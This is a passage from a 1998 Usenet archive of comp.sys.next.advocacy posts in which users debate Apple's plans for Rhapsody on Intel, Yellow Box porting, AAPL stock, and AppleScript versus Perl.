> >from seeing Apple as a threat.
>
> So the deal was:
> Apple gets $150
> Lawsuits are settled
> * Microsoft keeps supporting MSOffice (but without Access)
> * Apple drops Rhapsody/intel after 1.0
>
> Am I generating noise here, or what?
No your not!! I just havn't had time to incorporate everything from
the
newsgroups and the rhaptel mailing list archives. But it appears
that the public and rhaptel threads are dying (not a good sign IMHO).
http://www.or.org/rhaptel/archives/
Not to mention I have to get my own arguments together to support a
Business Case for why Apple should release/support & promote
Rhapsody for Intel/PPC. I'll try to make my case - and then I'll
shut up.
I would pose the question - who will bail if Rhapsody for Intel is
dropped. And we are stuck with Rhapsody on PPC - or Mac OS X
on PPC (gee with a server & client version just like NT :( ). Also
say why you would bail.
I would like to hear from folks on this either way. I'll try to
collect
numbers and post them along with a new DEBATE message.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NXHosting is dead ?
Date: Mon, 25 May 1998 23:41:25 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2505982341260001@dialin9062.slip.uci.edu>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <od871.624$Fi2.704485@news.rdc1.sdca.home.com> <1d96usd.idlupin1ddc8N@sextans133.wco.com> <t6P71.4084$Fi2.1738179@news.rdc1.sdca.home.com> <355FC790.47AFED2F@trilithon.com> <rmcassid-1805981655100001@dante.eng.uci.edu> <CFm91.2270$Kx3.2422317@news.rdc1.sdca.home.com> <rmcassid-2305980036500001@dialin9223.slip.uci.edu> <hJw91.2319$Kx3.2686214@news.rdc1.sdca.home.com>
In article <hJw91.2319$Kx3.2686214@news.rdc1.sdca.home.com>,
rr6013@yahoo.com wrote:
> In <rmcassid-2305980036500001@dialin9223.slip.uci.edu> Robert Cassidy wrote:
> > One down is right. Do we buy or not? Will it only be one down, or will the
> > next one go as well... hmm. Damn, this is fun stuff!
> >
> Depends upon how well you sleep at night. The idea is to protect the
profits
> you earned. Then rebuild anew with your gains. AAPL's blown off 10%+
here in
> a week¼ nothing wrong with buying some more if you think it will go up. Like
> an old Farmer and his Almanac, I think we're in for a long hot summer...
I sleep fine at night. My profits are more than my goals are. I'm not
greedy. At the same time, so long as I stay ahead of my goals and see the
risk/reward in my favor, I'll stay in. It's just money, right?
> > It was options. Clearly. It was also bad media handling by Apple during
> > WWDC. It was over the heads of most investors, but the message got too
> > mixed up near term. Long term it should settle out. People will focus on
> > new apps and a new OS and forget about the perceived change in direction.
>
> No, Mac loyals will focus on new apps and the new OS and the Street will
> forget about Apple.
They have forgotten about Apple. Even during this run-up they have. The
game is simple: if it's hot, regardless of the fundamentals, buy it hoping
that when it crumbles there will be one guy out there stupid enough to buy
your shares before it goes under for good. Does anyone really expect that
MSFT will be able to deliver on their market cap? Or Intel? (oops, better
throw that one back in) Or AOL? Or Yahoo?
Nobody watches AAPL, yet it's gone up. Nobody belives in AAPL, yet they
sell and the stock rises.
Steve will do his usual good job to telling the world how many copies of
8.5 have sold by Xmas and how many new developers he got on board and
somebody will listen and buy the stock. But somebody will buy, and it will
go up.
The analysts *hate* AAPL. They all do. They *LOVE* MSFT. I very seriously
belive it's because anybody with the IQ of an acorn has been able to say
that 'MSFT is a buy, it'll go up, just because.' But AAPL is a different
story, you gotta have some brains and good luck to pick this one on the
way up. The analysts have neither. I guess I just have a lot of luck...
> Ever wonder what kind of people read that stuff? And you forgot the NYTimes
> excellent WWDC coverage on the front page of the Net.
I didn't see the NYT coverage. Wish I had.
> I think mentality is
> driving the stock price not options. You don't have to get the mentality. I
> sure don't see anyone running out and buying AAPL after this splash of bad
> ink.
The options shifting has been *very* predictable the last 6 months or so,
so you can't really discount it totally. There has been a bad rash of
press this last week. It has caused people to walk away. That doesn't mean
that there isn't a rash of good press around the corner that will bring
people back. There hasn't been that much good press the last 4 months, so
why did the stock go up?
> > True on all points. Hence the lack of surprise that we are back at $27
> > And yet some of it just doesn't sit right with me. All indications are
> > that the iMac *will* have state-of-the-art connectivity when it ships, so
> > why intro saying that it won't? We should have a _Win_tel plan soonish,
> > even now if we wanted, 'we'll ship no press releases until their time',
> > perhaps? Price cuts before the quarter is out plus a speed bump, I think.
> > I think there's some good coming that we are overlooking because of all
> > the WWDC residuals to deal with.
>
> .. residuals, huh? Is that like options? :-) Or like wanting to find the
> good in the bad?
There is so much talk about WWDC that we are overlooking a lot of other
things. It's not about finding the good in the bad, but separating what
matters now vs. what matters in 15 months. What is going on *now*? Are
people buying systems now? We'll get to Q3 1999 soon enough to know if
killing NXHosting really was disasterous or not.
> > No, a meltdown would knock my _predictions_ down by $5-$10 more. Had it
> > occurred this week, I wouldn't be suprised to see us at $17-$22 now as a
> > result. I did say I wouldn't be surprised to see 27.5 even without a
> > meltdown, and I'm not surprised.
>
> Granted that makes three of us, Mike saw the options thing. Looks like the
> media is going to help burn off any "hype" factored into the stock price.
> Now, where that leaves AAPL when its over is anyones guess. I'm
targeting $22
> as the next resistance level with a summer timeframe. Maybe that gets
> accelerated a bit now.
I think we're going to have a good quarter. The numbers continue to look
strong. If we drop to $22, I think we'll come all the way back up into the
$30s before long. Earnings estimates are all way too low for this quarter.
Some are simply stupid (I think there is still someone predicting a loss
for Q3 and Q4, which is assinine). MW + earnings will be a big boost, so I
don't see $22 in July. It'll have to come in June.
-Bob Cassidy
From: Rob Blessin <bhi1@ix.netcom.com>
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody Intel = Openstep 5.0 ?
Date: Tue, 26 May 1998 00:47:00 -0600
Organization: Black Hole, Incorporatd
Message-ID: <356A6564.D9040D1F@ix.netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hello NeXT/ Apple community:
A few of us spake to Andrew Stone at the WWDC after his demo of Create.
He conjured up an objective c style string , something like; defaults
write NSGlobal Domain NSInterface Style nextstep ....
Executing the correct syntax of the string in theory would allow you to
switch the front end GUI system of Rhapsody and backflash it to
NeXTSTEP 3.3 aka through Openstep 4.2 interface.
Has anyone done this on Rhapsody Intel out of curiousity?
Even more interesting in theory is running the NeXTSTEP Yellowbox
interface on top of NT , yep it is probably possible to hing NEXTSTEP
interface on NT. Has anyone done this, I'm sure the Microsoft Windowing
front end probably tweaks but it sounds interesting.
I also overheard tails from gurus somehow Openstep 4.2 Enterprise on NT
running NeXTmail is this possible?
I heard Steve Jobs say to anyone with in listening distance after the
keynote , tell us what you want, we are listening.
Apple and Steve , the big picture from someone in the trenches , the
world needs help in a lot of ways but please save us from Windows, it is
like the great plague of the modern ages. Specifically the rainforest of
computer networks is primarily infested by Microsoft, kind of like an a
swarm of giant blue flying stinging fire breathing insects that keeps
reappearing every 3 years. Picture the orchard in the Rain forest,
Millions upon millions of Intel boxes leveled they had no choice, it was
Windows the giant magnifying glass. True the present systems currently
are contaminated with the Windows bug but what about the future, I
expect my Windows box to crash once every few days, or freeze or give me
the blue screen wami... Windows really sucks eggs, I'm very hesitant to
install Windows 98.
True Intel chips move at a snails pace when compared to the present
choice for PPC chips in the Macs> IA 64 Intel Chips are somewhere in the
future and loom large so I'm sure the processors will leap frog back and
forth in terms of speed and benckmarks. Keeping both options open is
hedging your bet and would be wise. Apples in one basket heck NeXT did
50 Million in sales and 1 Million dollar profit selling ther great
operating system on Intel known as Openstep about 4M to do it. We know
you can do better in sales, heck the work is done.
Why let Bill Gates continuing taking orders for Windows 98 operating
systems and upgrades 10,000 copies at a time uncontested.
The overhead and cost associated with writing drivers for Intel can't be
that steep, heck I know developers that write drivers for Openstep and
sometimes it only takes a day, if everything goes well. Competition
drives demand, Windows needs competition in the OS market and they would
probably not be oposed to porting Office to Rhapsody PPC and Intel ,
hedging there bet.
Carbon is a great concept for transitioning exisitng Mac applications to
Rhapsody errr Mac OS 10. I understand the strategy, minimize the
turbulance in the transition from now to Mac OS X. Everyone is no longer
flying blind , they have a map and radar. If anything Mac developers
should have areason to smile and not be violently opposed to real
working mature strategy that allows them to offer crossplatform
applications. When the lightbulb goes on finally that down the road a
carbonified Mac OS X application is great but it could be Yellowboxified
to work on the NT , 98 side as well. Why not try it? Yellowbox runtime
fees around $23 per seat, probably.
It was cool talking with Andrew Stone, he is living proof this stuff
works. Amazing Stone used the power of NEXTSTEP/Openstep/Yellowbox
developer tools to create powerful , mission critical crossplatform
applications like 3D Reality, Dataphile and Create http://www.stone.com/
..
I also was impressed with and like to point out one of the WWDC
Yellowbox sessions covered porting apps to NT; the Apple Yellowbox
developer team presenting the actual session deemed Rhapsody on Intel OS
an integral and very important part of the equation in the beta testing
process for updating and porting Yellowbox code to Intel;
Solution: It was stated at this session that it is much easier and
logical for the Apple developer team as well as 3rd party teams to port
or upgrade their Yellowbox developer tools / apps directly to Rhapsody
on Intel 1st because it really does exist and works very well. Then port
them to NT.
Also trying to port the PPC Yellowbox tools apps directly to NT on Intel
would be madness. Removing Rhapsody Intel is like looking at this
picture of 2 prospering islands and recommending to demolish the main
bridge across the bay immediately because we need more traffic jams and
there is nothing really important over there anyway and it is easier to
drive around and worth all that extra time to do it. Or ordering to
clear the rainforest , we don't need no stiknking orchards. Hell
remember Columbus, Bill Gates, he "ain't" Columbus more like the skipper
on Gilligan's Island.
Steve, 10 Years of Operating system on Intel now PPC. You once said its
Intel stupid. I'm sure the attrition rate would climb if the actual
Yellow Box team were asked to port Yellowbox to NT directly, yikes are
you kidding me. Steve , your answer might be heck lets keep the bridge
and build new ones, we are pretty much getting the orchard back into
fruitful operations on our island in Cupertino. Columbus , heck what
about the whole world , the world needs more bridges and Orchards. Stop
the Window powered bulldozers you bozos , we need to replant the
rainforests, we want to change the world with this new cure for the
operating system blues.
I'm rocking the boat , I'm pounding the kettle drums and sending out
smoke signals , we come in peace , we offer word of mouth advertising in
support, we care and actually like the choice of an operating system and
our choice is Rhapsody.
As I recall as additional support to this rant that porting Yellowbox to
Intel Rhapsody 1st basically eliminates the NT operating system from the
initial troubleshooting strategy when beta testing and proofing the
actual Yellowbox software for Intel. Once the Yellowbox updates are
stable on Rhapsody Intel it then is easier to port to Yellowbox on NT
98. Not many companies have the luxury of having a working OS like
Rhapsody on Intel to beta test there dev tools before porting them to
Windows products. If it isn't an operating system related problem then
Microsoft doesn't need to be involved and Apple can more easily solve it
in house, if it is an operating system problem the inverse is true.
Apple , I agree with you the cross platform PPC/ Intel approach to
developing future versions of Yellowbox tools is logical and a lot
easier for your in house developers to deal with the porting variables.
Communicating the message is the hard part becuase Apple developers have
been told loads f stories over the past few years.
Putting the I/O kit back in to Rhapsody DR2 for Intel is an excellent
move, this allows 3rd parties the opportunity to write future drivers
for Intel . True we NeXTSTEP/ Openstep/ Rhapsody Intel diehard users are
a small niche in the universe of computing but we appreciate your
operating system and only hope that you appreciate and support our
business.
I understand the stepping Stone approach to developing a smooth seemless
OS, keep up the good work and keep your alternatives open as far as
platforms.
Best Regards Rob Blessin
President
Black Hole, Incorporated
8501 E. Grand Ave.
Denver, CO 80237
303-741-9998
bhi1@ix.netcom.com
http://www.blackholeinc.com/
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Tue, 26 May 1998 03:26:34 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <6kdqvv$rf1$1@news12.ispnews.com>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6juunr$1od$1@crib.bevc.blacksburg.va.us> <joe.ragosta-2005981413320001@wil112.dol.net> <35642BED.C74CB80B@milestonerdl.com> <6k8ebo$vja$1@news.orbitworld.net> <joe.ragosta-2405980800010001@elk60.dol.net> <35699E1E.C8C20389@localhost.localdomain> <6kd7o6$13a62@odie.mcleod.net> <3569CE69.5174@earthlink.net>
NNTP-Posting-Date: 26 May 1998 07:29:03 GMT
x-no-archive: yes
Steve Kellener wrote:
>What's the big deal with people these days? If Rhapsody 1.0 offers you
>enough capabilities to run all the yellow apps on your PC why won't you
>even try it? Last time I checked, Windows '95 is 3 years old! Rhapsody
>should keep your computer running fine until atleast 2001. It will
>already offer you much better tools than anything M$ has to offer. I
>think it's odd that people aren't even willing to give it a try.
>Openstep was already better than Windows and I'm sure Rhapsody will
>offer even more. I say give it a try!
What is the price for Rhapsody on Intel going to be? If it's
more than 250 bucks, then Jobs probably didn't even need
to "steve" it himself. If it's under 100, I'll try it.
Z
From: ghenders@gary-hendershot.com (Gary Hendershot)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: 26 May 1998 07:09:16 GMT
Organization: Gary-H-dot-COM
Message-ID: <6kdpqs$v1v$1@news.orbitworld.net>
References: <joe.ragosta-2405980800010001@elk60.dol.net> <B18E52BF-1263AB@206.165.43.142> <joe.ragosta-2505981110440001@elk49.dol.net>
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> Actually, the official word is that G3 is definite, 604e is under
> consideration. There is speculation that it will run on 604e boxes,
> but will not be officially supported.
========================================================================
Yes, MacOS-X will be definite for the PPC 750 and higher boxes,
while certain PPC 604 boxes are "under consideration" for MacOS-X.
Normally I don't bother much with such speculation, but the way
things are being run at Apple (Jobs/Chapter 2), I would highly
suspect that they will take a very conservative approach to
maximize profit by streamlining the organisation. This means not
writing MacOS-X for any box that's not at least at the G3 level,
and halting Intel O/S development.
Apple wants to force the high-end Macintosh users off the PPC 60X
boxes into the G3/G4 fold by using the features and performance
of MacOS-X as incentive. Apple will then enhance the corporate
bottom line by selling another round of new hardware to its user
base. These high-end users will upgrade without much of a whimper
since they have the budgets to buy new hardware -- hardware with
USB, FireWire, 100 MHz I/O busses, and other goodies.
As for Intel development, about all that a lean mean Apple would
be doing with a streamlined organisation would be QuickTime
development for Win98/NT. I can't see a company that makes
advertisements showing steamrollers crushing Pentium II processor
cartridges bothering with further enhancements to OpenStep or
expanded funding for cross platform O/S development. They will
simply concentrate on MacOS-X on G3/G4, with a secondary
development effort on MacOS-9.
-Gary H-
ghenders@gary-hendershot.com
Houston, TX USA
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 26 May 1998 00:28:59 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <356A531B.3861F9@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net> <35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67> <6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net> <6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net> <6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net> <6kbd9q$jkc$2@ns3.vrx.net> <3569969D.5E99D336@nstar.net> <6kbo5o$qt5$2@ns3.vrx.net> <3569CEFA.836979BC@nstar.net> <6kdarj$fc03@odie.mcleod.net>
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Michelle L. Buck wrote:
[cut]
> Listen, I don't know about Maury, but I have worked in the corporate market
> for more than 10 years. My company makes all of its current revenue from
> sales of expensive custom vertical applications some of which run on Solaris
> and Dec Unix. I was a delegate to the early OSF meetings and I worked in a
> Fortune 100 company building RPC distributed C++ applications with Openlook
> and Motif GUIs. Unix workstations on the desk are just as dead now as we
> all used to say VMS mainframes were then. The war is over. Wintel won.
> Ask any Fortune 500 IT director and he/she will tell you that it is getting
> less and less likely that any Unix worstation PO will be approved. These
> guys buy PCs in lots of 1000.
Look, I don't believe that the war is ever over. The players change, the
allegiances change, heck, even the definitions change. What you and I
might call "Unix" will be something else in a few years. I don't believe
that our current set of tools and environments will last much longer,
few people do. But I do believe that what Unix represents,
technologically, will live on and prosper for years and years to come.
I also believe that there is plenty of fight left if you want to see
something better than NT on a significant number of desktops and in a
significant number of closets. There's nothing magical or dreamy about
it; people who want to build or extend an alternative need to get off
their old favoritisms and start thinking in new old ways.
Why do people still use Perl scripts for installing Unix software? Most
people tell me it's because It Works. On the one hand, I agree; on the
other hand I vehemently disagree. It gets a certain job done:
installation of software. Nowadays, however, there are many more jobs to
be done, and Perl scripts don't do them.
What certain groups of people have for decades called "fluff" is rapidly
becoming par for the course in computing. The ridiculous thing is that
none of it is outrageously difficult, cerebral, time-consuming, or
specialized. It just takes doing. I'm reminded of the conversation
Patrick Naughton supposedly had with Scott McNealy over a pint of beer,
wherein Naughton (pardon my spelling errors, Patrick) told Scott that
SunOS was ugly and outdated.
Why is this message so hard to drill into certain people's minds? Why do
Unix workstations still ship with boring, slow, and impossibly complex
tools? Why is the vast majority of software developed for Linux process
monitors, clocks, toolbars, window managers, logfile managers, and tiny
incompatible calendaring apps? Why hasn't somebody developed a really
nice, robust email app for X Windows? Why hasn't anybody taken the time
to develop a nice desktop environment?
Why isn't anybody giving the people what they want? I'm not asking these
questions to be whiny; I'm trying to point to all the screwing-up that's
causing the Microsoft problem. Unlike most people, I don't think
Microsoft is the problem, I think all of Microsoft's competitors are the
problem.
So here we are, 1998, with a deteriorating but viable situation. It gets
a lot worse from here, believe me. There is still time to change things;
maybe it's too late for the sweet comeback we all wish for, but it's
absolutely not too late to do *something* right for a change.
I don't believe in irresistible forces. I believe that every effort has
consequences and that Microsoft got where it is by taking advantage of
that fact. That means that everybody else can achieve the same thing by
taking the proper action.
So what am I saying? If somebody (and in this case I am pointing to
Apple) will do something right for a change, there will be consequences.
There's no reason to believe that good efforts well tended will fail
just because of certain pitiable trends. There's no reason to believe we
have to give up this fight, that fight, just to convince ourselves we
can cut our losses. Either you're retreating, having admitted failure,
or you're moving forward to correct past mistakes.
I wish someone would show me who's taking responsibility for it. I'm
reminded of David Brin's _The Postman_; yeah, the holocaust was
terrible, and a lot of good has been swept away. That doesn't mean there
isn't still a vector pointing upward along the path of spirited and
determined effort. Brin's character was constantly faced with terrible
disappointments, like the death of Cyclops the supercomputer and the
onslaught of the Holnists. But he never came to the point of figuring
that everything was over, let's roll over and die.
I can't say this without sounding like a cheap paperback self-help book,
but here it is: never give up. It's not about heroism, it's about
pragmatism. There is a tendency in beseiged individuals, described by
psychologists, to turn and give themselves up to the hunter, the
beseiger, the assailant, even when there is still a great chance of
victory. The atmosphere in this industry reeks of fear. I'm tired of
smelling it and hearing the same old rationales put up for explanation.
Nobody is going to convince me that I have to do this or that just
because I'm losing. No matter where I go, what I do, for what platform I
write software, I'm there to do what I meant to do in the first place,
and circumstances can't do a thing to change that.
Now there are certain things that I think Apple can do right. Some of
them I haven't figured out, maybe I never will. But doing the wrong
thing because of a belief in the bogeyman is something in which I will
never participate. Apple can win everything it hasn't yet lost, and I
want to see Jobs start winning those things. Simply assuming that the
war is over before a thing has been decided...that's irrational. It's
sad.
I just helped a friend of mine find a deal on a new Macintosh; he's
replacing his PC because he uses a Mac at work and he's decided he won't
use anything else. I take that as a little victory for May 25, and I'm
going to get up tomorrow morning looking for the next opportunity,
whatever it may be. Play your little dirge, I'm not going out like that.
[cut]
MJP
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <130942234221518336@mailcity.com>
Control: cancel <130942234221518336@mailcity.com>
Date: 26 May 1998 06:01:44 GMT
Organization: BOFH Space Command, Usenet Division
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Date: Tue, 26 May 1998 18:03:12 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
References: <6jrak9$936$1@geraldo.cc.utexas.edu>
<6jsa2r$u82$1@crib.bevc.blacksburg.va.us>
<6jsm6t$bjf$1@geraldo.cc.utexas.edu>
<aa829-2305981112520001@port11.dialb2.gain-ny.com>
Organization: Cybermarket Australia
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In article <aa829-2305981112520001@port11.dialb2.gain-ny.com> ,
aa829@ccn.cs.dal.ca (Charlie Mingo) wrote:
>In article <6jsm6t$bjf$1@geraldo.cc.utexas.edu>,
>kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
>> I
>> already have a better scripting architecture (Perl) than what
>> AppleScripting seems like it will be. On what other OSes can I run
>> AppleScript?
>
>It's a meaningless comparison. Perl scripts and AppleScripts don't do the
>same thing. Perl is a language mainly for the manipulation of text
>strings. AppleScript is a scripting language mainly for controlling MacOS
>apps (and now YellowBox apps), using the OSA architecture. There are few
>cases where these two tools could be substituted for each other.
>
>Rgds
>
>--
>mingo "at" panix "dot" com
Mac-Perl is available already. Integrating it with Applescript allows for a LOT
of functionality. It will be nice toi get a Unix-Perl though. This will make
my job of moving my Perl scripts from our Linux server to a Rhapsody server much
easier.
Tim Priest
From: BinaryBillTheSailor@Sea++.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: Tue, 26 May 1998 03:21:41 GMT
Organization: ICGNetcom
Message-ID: <356a33c4.190254872@nntp.ix.netcom.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <3569f618.13218072@news> <see-below-2505981819150001@209.24.240.44> <356a183c.183206318@nntp.ix.netcom.com> <6kctgv$1t9$1@crib.bevc.blacksburg.va.us>
Mathew,
It would be nice if you would carry over my entire question, not just
a snippet of it. You had no trouble including the bulk of the post I
was responding to. I think I made a valid point that he was way out
of line using the qualifier "most people". If your argument is so
weak that you need to resort to such tactics, I think your cause is
lost.
For those who missed it, My original reply was:
How do you support the qualifier "Most People" in your statement. Do
you mean "Most people in the same room as me?" "Most people who agree
with me?" " Most people who wear plaid boxer shorts"? "Most people
with a limited understanding of the world?" Which "most people" are
you speaking for here? Speak for yourself.
On 25 May 1998 19:06:07 -0400, nurban@crib.bevc.blacksburg.va.us
(Nathan Urban) wrote:
>In article <356a183c.183206318@nntp.ix.netcom.com>, BinaryBillTheSailor@Sea++.com wrote:
>
>> On Mon, 25 May 1998 18:19:15 -0700, see-below@not-my-address.com
>
>> (Matthew Vaughan) wrote:
>
>> >Interesting viewpoint, which ignores the fact that Apple already has an
>> >operating system that runs very well in Intel, one that most people
>> >already consider vastly superior to Windows NT in most regards
>> >(applications availability being the big problem).
>
>> How do you support the qualifier "Most People" in your statement.
>
>I don't speak for Matthew, but I presume that would be "most people who
>have used both Windows NT and OPENSTEP extensively enough to compare
>them on technical merits". Which is certainly a well-supported claim.
>But you can go ahead and find people in this set and ask them yourself.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Mon, 25 May 1998 21:02:55 +0100
Organization: EarthLink Network, Inc.
Message-ID: <3569CE69.5174@earthlink.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6juunr$1od$1@crib.bevc.blacksburg.va.us> <joe.ragosta-2005981413320001@wil112.dol.net> <35642BED.C74CB80B@milestonerdl.com> <6k8ebo$vja$1@news.orbitworld.net> <joe.ragosta-2405980800010001@elk60.dol.net> <35699E1E.C8C20389@localhost.localdomain> <6kd7o6$13a62@odie.mcleod.net>
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What's the big deal with people these days? If Rhapsody 1.0 offers you
enough capabilities to run all the yellow apps on your PC why won't you
even try it? Last time I checked, Windows '95 is 3 years old! Rhapsody
should keep your computer running fine until atleast 2001. It will
already offer you much better tools than anything M$ has to offer. I
think it's odd that people aren't even willing to give it a try.
Openstep was already better than Windows and I'm sure Rhapsody will
offer even more. I say give it a try!
Steve
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: 25 May 1998 22:21:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18F9F5E-A0947@206.165.43.75>
References: <3569CE69.5174@earthlink.net>
nntp://news.primenet.com/comp.sys.mac.advocacy
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Steve Kellener <skellener@earthlink.net> said:
>What's the big deal with people these days? If Rhapsody 1.0 offers you
>enough capabilities to run all the yellow apps on your PC why won't you
>even try it? Last time I checked, Windows '95 is 3 years old! Rhapsody
>should keep your computer running fine until atleast 2001. It will
>already offer you much better tools than anything M$ has to offer. I
>think it's odd that people aren't even willing to give it a try.
>Openstep was already better than Windows and I'm sure Rhapsody will
>offer even more. I say give it a try!
>
Hey, so what if GX/OpenDoc/Cyberdog are never going to see another upgrade?
You can do wonderous things with all of these and it doesn't matter if bugs
are discovered in the course of your daily work that will never be fixed
-just don't do that and everything will be just fine.
More to the point, even if another bug is never discovered in any of the
above, humans don't like to think of themselves as using
obsolete/discontinued technology. They want to believe that what they are
using is still "cutting edge" and will be supported forever, whether it be
from a business-plan perspective, or just ego.
In a very real sense, Rhapsody for Intel has just been Steved.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: cancel <see-below-2505982322480001@209.24.240.44>
Control: cancel <see-below-2505982322480001@209.24.240.44>
Date: Mon, 25 May 1998 23:23:48 -0700
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cancel <see-below-2505982322480001@209.24.240.44>
Date: Tue, 26 May 1998 18:12:33 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
References: <6jrak9$936$1@geraldo.cc.utexas.edu>
<6jsa2r$u82$1@crib.bevc.blacksburg.va.us>
<6jsm6t$bjf$1@geraldo.cc.utexas.edu>
<aa829-2305981112520001@port11.dialb2.gain-ny.com>
<6kb49o$ele$2@geraldo.cc.utexas.edu>
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Message-ID: <356a7f0e.0@news.camtech.net.au>
>: It's a meaningless comparison. Perl scripts and AppleScripts don't do the
>: same thing. Perl is a language mainly for the manipulation of text
>: strings. AppleScript is a scripting language mainly for controlling MacOS
>: apps (and now YellowBox apps), using the OSA architecture. There are few
>: cases where these two tools could be substituted for each other.
>
>Uhh. No. Perl can quite handily control UNIX apps. (at least text based and
>client/server based ones) It does handle text very well. And you are
>wrong about substitution. Someone would need to write the "OSA architecture"
>API package for perl, but it probably would work just as well as any
>other scripting language.
>......................................................................
>: Kurt D. Bollacker University of Texas at Austin :
>: kdb@pine.ece.utexas.edu P.O. Box 8566, Austin, TX 78713 :
>:....................................................................:
>
Methinks you dont fully appreciate Applescript. While I do know, use and Love
Perl it is still a very different beastie than Applescript and cant hope to
compete with an Applescript on Applescript aware programs. The problem has been
that Apple hasnt pushed developers to support it to date and companies like
Adobe have built there own standards scripting even though Applescript was there
to use. Thanks to a lot of good shareware programs (and savvy developers)
Applescript is really showings its legs now.
Again, don't write off a technology you may not fully understand. If Apple
pushes Applescript hard now and makes sure it is a first-class citizen in
Rhapsody OSX, the capabilities it will give users will astound; have no doubt.
Tim Priest
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 26 May 1998 09:56:42 GMT
Organization: P & L Systems
Message-ID: <6ke3kq$d5n$8@ironhorse.plsys.co.uk>
References: <6kc839$5m5$1@uuneo.neosoft.com> <B18F0B8D-9EEE@206.165.43.100>
<6kcph6$1le$1@nnrp1.dejanews.com>
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Cc: quinlan@intergate.bc.ca
In <6kcph6$1le$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> This GX/DPS is awsum/crap stuff has gone on long enough. You know what the
> problem is? Most people don't know much about either and nobody seems to be
> well informed about both. So there is no basis for effective discussion.
>
> I think that if I made a list of the pros and cons of both technologies,
> based on what I have heard from these discussions, each list would have
about
> five items. These discussions have had a pathetically low information
> density. So why don't we either raise the level of the discussion to
> something useful or throw it away all together.
>
Amen. We have tried, honestly, we have tried. The problems arise when
Lawson makes unfounded inaccurate statements about (D)PS's abilities which I
guess we feel have to be corected.
Best wishes,
mmalc.
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Pig farming?
Date: 26 May 1998 10:07:53 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6ke49p$6q1$1@sun27.hrz.tu-darmstadt.de>
remember the delightful little thread about pig farming and NT?
Just thought that some of us here could use a reminder that things
have looked a lot, lot worse in the past. :-)
(by the way, does anyone have a copy of the thread? peanuts does
not archive c.s.n.a, and that was before the days of dejanews)
Keep up, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now? (Was Re: End of
Date: 26 May 1998 10:19:18 GMT
Organization: P & L Systems
